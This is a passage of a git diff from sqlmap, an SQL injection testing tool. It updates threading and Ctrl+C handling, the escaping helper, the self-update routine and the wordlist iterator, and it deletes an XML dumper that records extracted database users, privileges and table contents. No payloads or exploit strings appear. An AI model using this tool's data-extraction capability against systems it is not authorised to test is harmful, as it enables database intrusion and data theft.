PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): + while True: + message = "please enter number of threads? [Enter for %d (current)] " % numThreads + choice = readInput(message, default=str(numThreads)) + if choice: + skipThreadCheck = False + + if choice.endswith('!'): + choice = choice[:-1] + skipThreadCheck = True + + if isDigit(choice): + if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: + errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS + logger.critical(errMsg) + else: + conf.threads = numThreads = int(choice) + break + + if numThreads == 1: + warnMsg = "running in a single-thread mode. This could take a while" + logger.warning(warnMsg) + if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: - threadFunction() + try: + _threadFunction() + except (SqlmapUserQuitException, SqlmapSkipTargetException): + pass return + kb.multiThreadMode = True + # Start the threads for numThread in xrange(numThreads): - thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[threadFunction]) + thread = threading.Thread(target=exceptionHandledFunction, name=str(numThread), args=[_threadFunction]) setDaemon(thread) try: thread.start() - except threadError, errMsg: - errMsg = "error occured while starting new thread ('%s')" % errMsg + except Exception as ex: + errMsg = "error occurred while starting new thread ('%s')" % ex logger.critical(errMsg) break threads.append(thread) # And wait for them to all finish - alive = True - while alive: + while True: alive = False for thread in threads: - if thread.isAlive(): + if thread.is_alive(): alive = True - time.sleep(0.1) + break + if not alive: + break + time.sleep(0.1) - except KeyboardInterrupt: - print + except (KeyboardInterrupt, SqlmapUserQuitException) as ex: + print() + kb.prependFlag = False kb.threadContinue = False kb.threadException = True + if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1): + kb.multipleCtrlC = True + raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)") + + kb.lastCtrlCTime = time.time() + if numThreads > 1: - logger.info("waiting for threads to finish (Ctrl+C was pressed)") + logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) try: - while (threading.activeCount() > 1): - pass + while threading.active_count() > 1: + time.sleep(0.1) except KeyboardInterrupt: - raise sqlmapThreadException, "user aborted (Ctrl+C was pressed multiple times)" + kb.multipleCtrlC = True + raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") if forwardException: raise - except (sqlmapConnectionException, sqlmapValueException), errMsg: - print + except (SqlmapConnectionException, SqlmapValueException) as ex: + print() kb.threadException = True - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + logger.error("thread %s: '%s'" % (threading.currentThread().getName(), ex)) - except: - from lib.core.common import unhandledExceptionMessage + if conf.get("verbose") > 1 and isinstance(ex, SqlmapValueException): + traceback.print_exc() - print - kb.threadException = True - errMsg = unhandledExceptionMessage() - logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) - traceback.print_exc() + except Exception as ex: + print() + + if not kb.multipleCtrlC: + if isinstance(ex, sqlite3.Error): + raise + else: + from lib.core.common import unhandledExceptionMessage + + kb.threadException = True + errMsg = unhandledExceptionMessage() + logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) + traceback.print_exc() finally: kb.multiThreadMode = False - kb.bruteMode = False kb.threadContinue = True kb.threadException = False + kb.technique = None for lock in kb.locks.values(): - if lock.locked_lock(): - lock.release() - - if conf.get("hashDB", None): - conf.hashDB.flush(True) + if lock.locked(): + try: + lock.release() + except: + pass + + if conf.get("hashDB"): + conf.hashDB.flush() if cleanupFunction: cleanupFunction() diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index 53ca6fbe98a..21588a1892a 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.common import Backend @@ -10,7 +10,7 @@ from lib.core.settings import EXCLUDE_UNESCAPE class Unescaper(AttribDict): - def unescape(self, expression, quote=True, dbms=None): + def escape(self, expression, quote=True, dbms=None): if expression is None: return expression @@ -21,10 +21,15 @@ def unescape(self, expression, quote=True, dbms=None): identifiedDbms = Backend.getIdentifiedDbms() if dbms is not None: - return self[dbms](expression, quote=quote) - elif identifiedDbms is not None: - return self[identifiedDbms](expression, quote=quote) + retVal = self[dbms](expression, quote=quote) + elif identifiedDbms is not None and identifiedDbms in self: + retVal = self[identifiedDbms](expression, quote=quote) else: - return expression + retVal = expression + + # e.g. inference comparison for ' + retVal = retVal.replace("'''", "''''") + + return retVal unescaper = Unescaper() diff --git a/lib/core/update.py b/lib/core/update.py index 2e8ba7ad3ec..78635ff39d8 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,66 +1,171 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import glob import os import re +import shutil +import subprocess import time - -from subprocess import PIPE -from subprocess import Popen as execute +import zipfile from lib.core.common import dataToStdout -from lib.core.common import getUnicode +from lib.core.common import extractRegexResult +from lib.core.common import getLatestRevision +from lib.core.common import getSafeExString +from lib.core.common import openFile +from lib.core.common import pollProcess +from lib.core.common import readInput +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths +from lib.core.revision import getRevisionNumber +from lib.core.settings import GIT_REPOSITORY from lib.core.settings import IS_WIN -from lib.core.settings import REVISION -from lib.core.settings import UNICODE_ENCODING -from lib.core.subprocessng import pollProcess +from lib.core.settings import VERSION +from lib.core.settings import TYPE +from lib.core.settings import ZIPBALL_PAGE +from thirdparty.six.moves import urllib as _urllib def update(): if not conf.updateAll: return success = False - rootDir = paths.SQLMAP_ROOT_PATH - if not os.path.exists(os.path.join(rootDir, ".git")): - errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository " - errMsg += "from GitHub (e.g. git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev)" - logger.error(errMsg) + if TYPE == "pip": + infoMsg = "updating sqlmap to the latest stable version from the " + infoMsg += "PyPI repository" + logger.info(infoMsg) + + debugMsg = "sqlmap will try to update itself using 'pip' command" + logger.debug(debugMsg) + + dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + + output = "" + try: + process = subprocess.Popen("pip install -U sqlmap", shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) + pollProcess(process, True) + output, _ = process.communicate() + success = not process.returncode + except Exception as ex: + success = False + output = getSafeExString(ex) + finally: + output = getText(output) + + if success: + logger.info("%s the latest revision '%s'" % ("already at" if "already up-to-date" in output else "updated to", extractRegexResult(r"\binstalled sqlmap-(?P\d+\.\d+\.\d+)", output) or extractRegexResult(r"\((?P\d+\.\d+\.\d+)\)", output))) + else: + logger.error("update could not be completed ('%s')" % re.sub(r"[^a-z0-9:/\\]+", " ", output).strip()) + + elif not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): + warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository " + warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY + logger.warning(warnMsg) + + if VERSION == getLatestRevision(): + logger.info("already at the latest revision '%s'" % (getRevisionNumber() or VERSION)) + return + + message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]" + if readInput(message, default='N', boolean=True): + directory = os.path.abspath(paths.SQLMAP_ROOT_PATH) + + try: + open(os.path.join(directory, "sqlmap.py"), "w+b") + except Exception as ex: + errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) + logger.error(errMsg) + else: + attrs = os.stat(os.path.join(directory, "sqlmap.py")).st_mode + for wildcard in ('*', ".*"): + for _ in glob.glob(os.path.join(directory, wildcard)): + try: + if os.path.isdir(_): + shutil.rmtree(_) + else: + os.remove(_) + except: + pass + + if glob.glob(os.path.join(directory, '*')): + errMsg = "unable to clear the content of directory '%s'" % directory + logger.error(errMsg) + else: + try: + archive = _urllib.request.urlretrieve(ZIPBALL_PAGE)[0] + + with zipfile.ZipFile(archive) as f: + for info in f.infolist(): + info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename) + if info.filename: + f.extract(info, directory) + + filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py") + if os.path.isfile(filepath): + with openFile(filepath, "r") as f: + version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) + logger.info("updated to the latest version '%s#dev'" % version) + success = True + except Exception as ex: + logger.error("update could not be completed ('%s')" % getSafeExString(ex)) + else: + if not success: + logger.error("update could not be completed") + else: + try: + os.chmod(os.path.join(directory, "sqlmap.py"), attrs) + except OSError: + logger.warning("could not set the file attributes of '%s'" % os.path.join(directory, "sqlmap.py")) + else: - infoMsg = "updating sqlmap to the latest development version from the " + infoMsg = "updating sqlmap to the latest development revision from the " infoMsg += "GitHub repository" logger.info(infoMsg) debugMsg = "sqlmap will try to update itself using 'git' command" logger.debug(debugMsg) - dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) - process = execute("git pull %s" % rootDir, shell=True, stdout=PIPE, stderr=PIPE) - pollProcess(process, True) - stdout, stderr = process.communicate() - success = not process.returncode + dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) + + output = "" + try: + process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) + pollProcess(process, True) + output, _ = process.communicate() + success = not process.returncode + except Exception as ex: + success = False + output = getSafeExString(ex) + finally: + output = getText(output) if success: - logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", REVISION)) + logger.info("%s the latest revision '%s'" % ("already at" if "Already" in output else "updated to", getRevisionNumber())) else: - logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) + if "Not a git repository" in output: + errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " + errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY + logger.error(errMsg) + else: + logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", output).strip()) if not success: if IS_WIN: infoMsg = "for Windows platform it's recommended " infoMsg += "to use a GitHub for Windows client for updating " - infoMsg += "purposes (http://windows.github.com/) or just " + infoMsg += "purposes (https://desktop.github.com/) or just " infoMsg += "download the latest snapshot from " - infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" + infoMsg += "https://github.com/sqlmapproject/sqlmap/releases" else: - infoMsg = "for Linux platform it's required " - infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" + infoMsg = "for Linux platform it's recommended " + infoMsg += "to install a standard 'git' package (e.g.: 'apt install git')" logger.info(infoMsg) diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index cb80cbcd75d..1bb8e42bf2f 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,25 +1,41 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -from lib.core.common import singleTimeLogMessage +import zipfile -class Wordlist: +from lib.core.common import getSafeExString +from lib.core.common import isZipFile +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapInstallationException +from thirdparty import six + +class Wordlist(six.Iterator): """ Iterator for looping over a large dictionaries + + >>> from lib.core.option import paths + >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type) + True + >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type) + True """ - def __init__(self, filenames): - self.filenames = filenames + def __init__(self, filenames, proc_id=None, proc_count=None, custom=None): + self.filenames = [filenames] if isinstance(filenames, six.string_types) else filenames self.fp = None + self.zip_file = None self.index = 0 + self.counter = -1 + self.current = None self.iter = None - self.custom = [] + self.custom = custom or [] + self.proc_id = proc_id + self.proc_count = proc_count self.adjust() - self.lock = None def __iter__(self): return self @@ -27,41 +43,54 @@ def __iter__(self): def adjust(self): self.closeFP() if self.index > len(self.filenames): - raise StopIteration + return # Note: https://stackoverflow.com/a/30217723 (PEP 479) elif self.index == len(self.filenames): - if self.custom: - self.iter = iter(self.custom) - else: - raise StopIteration + self.iter = iter(self.custom) else: - current = self.filenames[self.index] - infoMsg = "loading dictionary from '%s'" % current - singleTimeLogMessage(infoMsg) - self.fp = open(current, "r") + self.current = self.filenames[self.index] + if isZipFile(self.current): + try: + self.zip_file = zipfile.ZipFile(self.current, 'r') + except zipfile.error as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException(errMsg) + if len(self.zip_file.namelist()) == 0: + errMsg = "no file(s) inside '%s'" % self.current + raise SqlmapDataException(errMsg) + self.fp = self.zip_file.open(self.zip_file.namelist()[0]) + else: + self.fp = open(self.current, "rb") self.iter = iter(self.fp) self.index += 1 - def append(self, value): - self.custom.append(value) - def closeFP(self): if self.fp: self.fp.close() self.fp = None - def next(self): + if self.zip_file: + self.zip_file.close() + self.zip_file = None + + def __next__(self): retVal = None - if self.lock: - self.lock.acquire() - try: - retVal = self.iter.next().rstrip() - except StopIteration: - self.adjust() - retVal = self.iter.next().rstrip() - finally: - if self.lock: - self.lock.release() + while True: + self.counter += 1 + try: + retVal = next(self.iter).rstrip() + except zipfile.error as ex: + errMsg = "something appears to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException(errMsg) + except StopIteration: + self.adjust() + retVal = next(self.iter).rstrip() + if not self.proc_count or self.counter % self.proc_count == self.proc_id: + break return retVal def rewind(self): diff --git a/lib/core/xmldump.py b/lib/core/xmldump.py deleted file mode 100644 index b4fabb146f5..00000000000 --- a/lib/core/xmldump.py +++ /dev/null @@ -1,537 +0,0 @@ -#!/usr/bin/env python - -import codecs -import os -import re -import xml - -import xml.sax.saxutils as saxutils - -from xml.dom.minidom import Document -from xml.parsers.expat import ExpatError - -from extra.prettyprint import prettyprint -from lib.core.common import getUnicode -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.exception import sqlmapFilePathException -from lib.core.settings import UNICODE_ENCODING - -TECHNIC_ELEM_NAME = "Technic" -TECHNICS_ELEM_NAME = "Technics" -BANNER_ELEM_NAME = "Banner" -COLUMNS_ELEM_NAME = "DatabaseColumns" -COLUMN_ELEM_NAME = "Column" -CELL_ELEM_NAME = "Cell" -COLUMN_ATTR = "column" -ROW_ELEM_NAME = "Row" -TABLES_ELEM_NAME = "tables" -DATABASE_COLUMNS_ELEM = "DB" -DB_TABLES_ELEM_NAME = "DBTables" -DB_TABLE_ELEM_NAME = "DBTable" -IS_DBA_ELEM_NAME = "isDBA" -FILE_CONTENT_ELEM_NAME = "FileContent" -DB_ATTR = "db" -UNKNOWN_COLUMN_TYPE= "unknown" -USER_SETTINGS_ELEM_NAME = "UserSettings" -USER_SETTING_ELEM_NAME = "UserSetting" -USERS_ELEM_NAME = "Users" -USER_ELEM_NAME = "User" -DB_USER_ELEM_NAME = "DBUser" -SETTINGS_ELEM_NAME = "Settings" -DBS_ELEM_NAME = "DBs" -DB_NAME_ELEM_NAME = "DBName" -DATABASE_ELEM_NAME = "Database" -TABLE_ELEM_NAME = "Table" -DB_TABLE_VALUES_ELEM_NAME = "DBTableValues" -DB_VALUES_ELEM = "DBValues" -QUERIES_ELEM_NAME = "Queries" -QUERY_ELEM_NAME = "Query" -REGISTERY_ENTRIES_ELEM_NAME = "RegistryEntries" -REGISTER_DATA_ELEM_NAME = "RegisterData" -DEFAULT_DB = "All" -MESSAGE_ELEM = "Message" -MESSAGES_ELEM_NAME = "Messages" -ERROR_ELEM_NAME = "Error" -LST_ELEM_NAME = "List" -LSTS_ELEM_NAME = "Lists" -CURRENT_USER_ELEM_NAME = "CurrentUser" -CURRENT_DB_ELEM_NAME = "CurrentDB" -MEMBER_ELEM = "Member" -ADMIN_USER = "Admin" -REGULAR_USER = "User" -STATUS_ELEM_NAME = "Status" -RESULTS_ELEM_NAME = "Results" -UNHANDLED_PROBLEM_TYPE = "Unhandled" -NAME_ATTR = "name" -TYPE_ATTR = "type" -VALUE_ATTR = "value" -SUCESS_ATTR = "success" -NAME_SPACE_ATTR = 'http://www.w3.org/2001/XMLSchema-instance' -XMLNS_ATTR = "xmlns:xsi" -SCHEME_NAME = "sqlmap.xsd" -SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation" -CHARACTERS_TO_ENCODE = range(32) + range(127, 256) -ENTITIES = {'"':'"',"'":"'"} - -class XMLDump: - ''' - This class purpose is to dump the data into an xml Format. - The format of the xml file is described in the scheme file xml/sqlmap.xsd - ''' - - def __init__(self): - self.__outputFile = None - self.__outputFP = None - self.__root = None - self.__doc = Document() - - def __addToRoot(self,element): - ''' - Adds element to the root element - ''' - self.__root.appendChild(element) - - def __write(self, data, n=True): - ''' - Writes the data into the file - ''' - if n: - self.__outputFP.write("%s\n" % data) - else: - self.__outputFP.write("%s " % data) - - self.__outputFP.flush() - - kb.dataOutputFlag = True - - def __getRootChild(self,elemName): - ''' - Returns the child of the root with the described name - ''' - elements = self.__root.getElementsByTagName(elemName) - if elements : - return elements[0] - - return elements - - def __createTextNode(self,data): - ''' - Creates a text node with utf8 data inside. - The text is escaped to an fit the xml text Format. - ''' - if data is None : - return self.__doc.createTextNode(u'') - else : - escaped_data = saxutils.escape(data, ENTITIES) - return self.__doc.createTextNode(escaped_data) - - def __createAttribute(self,attrName,attrValue): - ''' - Creates an attribute node with utf8 data inside. - The text is escaped to an fit the xml text Format. - ''' - attr = self.__doc.createAttribute(attrName) - if attrValue is None : - attr.nodeValue = u'' - else : - attr.nodeValue = getUnicode(attrValue) - return attr - - def string(self, header, data, sort=True): - ''' - Adds string element to the xml. - ''' - if isinstance(data, (list, tuple, set)): - self.lister(header, data, sort) - return - - messagesElem = self.__getRootChild(MESSAGES_ELEM_NAME) - if (not(messagesElem)): - messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME) - self.__addToRoot(messagesElem) - - if data: - data = self.__formatString(data) - else : - data = "" - - elem = self.__doc.createElement(MESSAGE_ELEM) - elem.setAttributeNode(self.__createAttribute(TYPE_ATTR, header)) - elem.appendChild(self.__createTextNode(data)) - messagesElem.appendChild(elem) - - def lister(self, header, elements, sort=True): - ''' - Adds information formatted as list element - ''' - lstElem = self.__doc.createElement(LST_ELEM_NAME) - lstElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, header)) - if elements: - - if sort: - try: - elements = set(elements) - elements = list(elements) - elements.sort(key=lambda x: x.lower()) - except: - pass - - for element in elements: - memberElem = self.__doc.createElement(MEMBER_ELEM) - lstElem.appendChild(memberElem) - if isinstance(element, basestring): - memberElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, "string")) - memberElem.appendChild(self.__createTextNode(element)) - elif isinstance(element, (list, tuple, set)): - memberElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, "list")) - for e in element : - memberElemStr = self.__doc.createElement(MEMBER_ELEM) - memberElemStr.setAttributeNode(self.__createAttribute(TYPE_ATTR, "string")) - memberElemStr.appendChild(self.__createTextNode(getUnicode(e))) - memberElem.appendChild(memberElemStr) - listsElem = self.__getRootChild(LSTS_ELEM_NAME) - if not(listsElem): - listsElem = self.__doc.createElement(LSTS_ELEM_NAME) - self.__addToRoot(listsElem) - listsElem.appendChild(lstElem) - - def technic(self,technicType,data): - ''' - Adds information about the technic used to extract data from the db - ''' - technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME) - technicElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, technicType)) - textNode = self.__createTextNode(data) - technicElem.appendChild(textNode) - technicsElem = self.__getRootChild(TECHNICS_ELEM_NAME) - if not(technicsElem): - technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME) - self.__addToRoot(technicsElem) - technicsElem.appendChild(technicElem) - - def banner(self,data): - ''' - Adds information about the database banner to the xml. - The banner contains information about the type and the version of the database. - ''' - bannerElem = self.__doc.createElement(BANNER_ELEM_NAME) - bannerElem.appendChild(self.__createTextNode(data)) - self.__addToRoot(bannerElem) - - def currentUser(self,data): - ''' - Adds information about the current database user to the xml - ''' - currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME) - textNode = self.__createTextNode(data) - currentUserElem.appendChild(textNode) - self.__addToRoot(currentUserElem) - - def currentDb(self,data): - ''' - Adds information about the current database is use to the xml - ''' - currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME) - textNode = self.__createTextNode(data) - currentDBElem.appendChild(textNode) - self.__addToRoot(currentDBElem) - - def dba(self,isDBA): - ''' - Adds information to the xml that indicates whether the user has DBA privileges - ''' - isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME) - isDBAElem.setAttributeNode(self.__createAttribute(VALUE_ATTR, getUnicode(isDBA))) - self.__addToRoot(isDBAElem) - - def users(self,users): - ''' - Adds a list of the existing users to the xml - ''' - usersElem = self.__doc.createElement(USERS_ELEM_NAME) - if isinstance(users, basestring): - users = [users] - if users: - for user in users: - userElem = self.__doc.createElement(DB_USER_ELEM_NAME) - usersElem.appendChild(userElem) - userElem.appendChild(self.__createTextNode(user)) - self.__addToRoot(usersElem) - - def dbs(self, dbs): - ''' - Adds a list of the existing databases to the xml - ''' - dbsElem = self.__doc.createElement(DBS_ELEM_NAME) - if dbs: - for db in dbs: - dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME) - dbsElem.appendChild(dbElem) - dbElem.appendChild(self.__createTextNode(db)) - self.__addToRoot(dbsElem) - - def userSettings(self, header, userSettings, subHeader): - ''' - Adds information about the user's settings to the xml. - The information can be user's passwords, privileges and etc.. - ''' - self.__areAdmins = set() - userSettingsElem = self.__getRootChild(USER_SETTINGS_ELEM_NAME) - if (not(userSettingsElem)): - userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME) - self.__addToRoot(userSettingsElem) - - userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME) - userSettingElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, header)) - - if isinstance(userSettings, (tuple, list, set)): - self.__areAdmins = userSettings[1] - userSettings = userSettings[0] - - users = userSettings.keys() - users.sort(key=lambda x: x.lower()) - - for user in users: - userElem = self.__doc.createElement(USER_ELEM_NAME) - userSettingElem.appendChild(userElem) - if user in self.__areAdmins: - userElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, ADMIN_USER)) - else: - userElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, REGULAR_USER)) - - settings = userSettings[user] - - settings.sort() - - for setting in settings: - settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME) - settingsElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, subHeader)) - settingTextNode = self.__createTextNode(setting) - settingsElem.appendChild(settingTextNode) - userElem.appendChild(settingsElem) - userSettingsElem.appendChild(userSettingElem) - - def dbTables(self, dbTables): - ''' - Adds information of the existing db tables to the xml - ''' - if not isinstance(dbTables, dict): - self.string(TABLES_ELEM_NAME, dbTables) - return - - dbTablesElem = self.__doc.createElement(DB_TABLES_ELEM_NAME) - - for db, tables in dbTables.items(): - tables.sort(key=lambda x: x.lower()) - dbElem = self.__doc.createElement(DATABASE_ELEM_NAME) - dbElem.setAttributeNode(self.__createAttribute(NAME_ATTR,db)) - dbTablesElem.appendChild(dbElem) - for table in tables: - tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME) - tableElem.appendChild(self.__createTextNode(table)) - dbElem.appendChild(tableElem) - self.__addToRoot(dbTablesElem) - - def dbTableColumns(self, tableColumns): - ''' - Adds information about the columns of the existing tables to the xml - ''' - - columnsElem = self.__getRootChild(COLUMNS_ELEM_NAME) - if not(columnsElem): - columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME) - - for db, tables in tableColumns.items(): - if not db: - db = DEFAULT_DB - dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM) - dbElem.setAttributeNode(self.__createAttribute(NAME_ATTR, db)) - columnsElem.appendChild(dbElem) - - for table, columns in tables.items(): - tableElem = self.__doc.createElement(TABLE_ELEM_NAME) - tableElem.setAttributeNode(self.__createAttribute(NAME_ATTR, table)) - - colList = columns.keys() - colList.sort(key=lambda x: x.lower()) - - for column in colList: - colType = columns[column] - colElem = self.__doc.createElement(COLUMN_ELEM_NAME) - if colType is not None: - colElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, colType)) - else : - colElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE)) - colElem.appendChild(self.__createTextNode(column)) - tableElem.appendChild(colElem) - - self.__addToRoot(columnsElem) - - def dbTableValues(self, tableValues): - ''' - Adds the values of specific table to the xml. - The values are organized according to the relevant row and column. - ''' - tableElem = self.__doc.createElement(DB_TABLE_VALUES_ELEM_NAME) - if (tableValues is not None): - db = tableValues["__infos__"]["db"] - if not db: - db = "All" - table = tableValues["__infos__"]["table"] - - count = int(tableValues["__infos__"]["count"]) - columns = tableValues.keys() - columns.sort(key=lambda x: x.lower()) - - tableElem.setAttributeNode(self.__createAttribute(DB_ATTR, db)) - tableElem.setAttributeNode(self.__createAttribute(NAME_ATTR, table)) - - for i in range(count): - rowElem = self.__doc.createElement(ROW_ELEM_NAME) - tableElem.appendChild(rowElem) - for column in columns: - if column != "__infos__": - info = tableValues[column] - value = info["values"][i] - - if re.search("^[\ *]*$", value): - value = "NULL" - - cellElem = self.__doc.createElement(CELL_ELEM_NAME) - cellElem.setAttributeNode(self.__createAttribute(COLUMN_ATTR, column)) - cellElem.appendChild(self.__createTextNode(value)) - rowElem.appendChild(cellElem) - - dbValuesElem = self.__getRootChild(DB_VALUES_ELEM) - if (not(dbValuesElem)): - dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM) - self.__addToRoot(dbValuesElem) - - dbValuesElem.appendChild(tableElem) - - logger.info("Table '%s.%s' dumped to XML file" % (db, table)) - - def dbColumns(self, dbColumns, colConsider, dbs): - ''' - Adds information about the columns - ''' - for column in dbColumns.keys(): - printDbs = {} - for db, tblData in dbs.items(): - for tbl, colData in tblData.items(): - for col, dataType in colData.items(): - if column in col: - if db in printDbs: - if tbl in printDbs[db]: - printDbs[db][tbl][col] = dataType - else: - printDbs[db][tbl] = { col: dataType } - else: - printDbs[db] = {} - printDbs[db][tbl] = { col: dataType } - - continue - - self.dbTableColumns(printDbs) - - def query(self,query,queryRes): - ''' - Adds details of an executed query to the xml. - The query details are the query itself and it's results. - ''' - queryElem = self.__doc.createElement(QUERY_ELEM_NAME) - queryElem.setAttributeNode(self.__createAttribute(VALUE_ATTR, query)) - queryElem.appendChild(self.__createTextNode(queryRes)) - queriesElem = self.__getRootChild(QUERIES_ELEM_NAME) - if (not(queriesElem)): - queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME) - self.__addToRoot(queriesElem) - queriesElem.appendChild(queryElem) - - def registerValue(self,registerData): - ''' - Adds information about an extracted registry key to the xml - ''' - registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME) - registerElem.appendChild(self.__createTextNode(registerData)) - registriesElem = self.__getRootChild(REGISTERY_ENTRIES_ELEM_NAME) - if (not(registriesElem)): - registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME) - self.__addToRoot(registriesElem) - registriesElem.appendChild(registerElem) - - def rFile(self, filePath, data): - ''' - Adds an extracted file's content to the xml - ''' - fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME) - fileContentElem.setAttributeNode(self.__createAttribute(NAME_ATTR, filePath)) - fileContentElem.appendChild(self.__createTextNode(data)) - self.__addToRoot(fileContentElem) - - def setOutputFile(self): - ''' - Initiates the xml file from the configuration. - ''' - if (conf.xmlFile) : - try : - self.__outputFile = conf.xmlFile - self.__root = None - - if os.path.exists(self.__outputFile): - try: - self.__doc = xml.dom.minidom.parse(self.__outputFile) - self.__root = self.__doc.childNodes[0] - except ExpatError: - self.__doc = Document() - - self.__outputFP = codecs.open(self.__outputFile, "w+", UNICODE_ENCODING) - - if self.__root is None: - self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME) - self.__root.setAttributeNode(self.__createAttribute(XMLNS_ATTR,NAME_SPACE_ATTR)) - self.__root.setAttributeNode(self.__createAttribute(SCHEME_NAME_ATTR,SCHEME_NAME)) - self.__doc.appendChild(self.__root) - except IOError: - raise sqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile) - - def getOutputFile(self): - return self.__outputFile - - def finish(self, resultStatus, resultMsg=""): - ''' - Finishes the dumper operation: - 1. Adds the session status to the xml - 2. Writes the xml to the file - 3. Closes the xml file - ''' - if ((self.__outputFP is not None) and not(self.__outputFP.closed)): - statusElem = self.__doc.createElement(STATUS_ELEM_NAME) - statusElem.setAttributeNode(self.__createAttribute(SUCESS_ATTR,getUnicode(resultStatus))) - - if not resultStatus: - errorElem = self.__doc.createElement(ERROR_ELEM_NAME) - - if isinstance(resultMsg, Exception): - errorElem.setAttributeNode(self.__createAttribute(TYPE_ATTR, type(resultMsg).__name__)) - else: - 